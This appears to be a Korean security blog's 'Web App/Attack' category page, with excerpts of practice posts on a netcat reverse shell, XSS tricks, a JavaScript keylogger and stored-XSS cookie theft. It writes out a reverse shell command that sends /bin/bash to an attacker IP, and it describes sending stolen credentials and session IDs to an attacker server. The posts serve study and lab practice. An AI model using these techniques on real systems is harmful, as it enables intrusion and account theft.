본문 바로가기

Web App/Attack

(6)
리버스 쉘(Reverse Shell) 실습(with netcat) 1. 공격자 서버 포트 리스닝nc -l -p [포트번호]공격자 서버에서 netcat 도구를 활용해 1024번 포트를 리스닝으로 열어 놓는다.2. 웹 쉘 업로드파일 업로드 취약점이 있는 개인 홈페이지에php로 작성된 웹 쉘을 업로드했다.3. 리버스 쉘 작성nc -e /bin/bash [공격자 서버 IP] [포트번호] 더보기-e 옵션이 사용되지 않을 때# apt-get install netcat-traditional# update-alternatives --config ncㄴ> 2번 옵션 선택https://aceatom.tistory.com/346 nc -e 옵션 사용이 안될때nc를 통해 리버스쉘을 연결하려고 하는데 사진처럼 -e 옵션이 유효하지 않다고 할 때 해결법이다. 검색을 해보니 이 상황은 -e 옵션..
DOM 객체 접근(with JavaScript) 1. documentdocumentJavaScript 에서 HTML 페이지(페이지 소스)에 접근할 때, document 객체 사용2. getElementBydocument.getElementById();document.getElementsByName();document.getElementsByClassName();더보기class 속성 값과 name 속성 값은 식별자가 여러 객체를 식별할 수 있기 때문에 "getElements" 라고 표현하고 있는 것을 볼 수 있다.때문에 class와 name 식별 값으로 DOM 객체에 접근하려면document.getElementsByClassName('value')[0]위와 같이 몇 번째 객체인지 인덱스를 적어주어야 객체를 식별할 수 있다. 이와 반대로 id 속성 값은 ..
Useful JavaScript 1. Page Redirect새로운 페이지로 이동한다.뒤로가기 가능 (이전 페이지 이동 가능)기존 페이지를 새로운 페이지로 변경시킨다. (현재 페이지를 새로운 페이지로 덮어 씌우기)뒤로가기 불가능 (이전 페이지 이동 불가능) 2. 주소창 변조더보기Reflected XSS 페이로드가 주소창에서 너무 길고 사용자에게 의심 받을 것 같을 때,정상적인 URL 주소처럼 나타낼 수 있다. [*] 도메인은 변경하지 못하지만 경로는 변조할 수 있음
XSS Sheet 1. 글자 길이 제한 우회
KeyLogger 만들기(with JavaScript) 1. login.html 2. keylog.php3. Process3.1. 간단한 로그인 폼 작성 3.2. 간단한 keylog 스크립트 작성// point : onkeypress로그인 페이지에서 계정 정보 입력 시,console 창에 입력한 키 정보를 그대로 띄워주는 스크립트 작동 확인 하지만 이 방법은ID 값과 PW 값을 구분하기가 어렵고,무엇보다 사용자가 잘못 입력한 값도 저장되기 때문에 사용자가 계정 정보를 입력하고 로그인 버튼을 눌렀을 때,들어가 있는 ID 값과 PW 값을 공격자의 서버로 보내는 것을 목표로 했다.3.3. 보다 정교한 스크립트 작성 // onsubmit 속성을 통해 getInputValue 함수로 input 데이터에서 받은 사용자 정보를 넘겨줌 // i..
쿠키 탈취(with JavaScript) 1. 쿠키 탈취 코드 작성// 해당 스크립트는 피해자가 게시글을 눌렀을 시, 공격자 서버로 location 이동됨// 1.1. cookie.php2. 쿠키 탈취 게시글 올리기JavaScript 입력이 방지되지 않은 게시판에악의적인 사용자 김철수가 쿠키를 탈취하는 스크립트 코트를 작성했다.이후 피해자인 관리자 계정으로 로그인 하고,해커가 작성한 게시글을 클릭하면겉으로 보기엔 일반적인 게시글로 보이지만,공격자 서버에는 피해자의 세션 ID가 탈취된 것을 확인할 수 있다.공격자 김철수가탈취한 관리자의 세션 ID로 서버에 요청을 보내니관리자로 로그인된 것을 확인할 수 있다.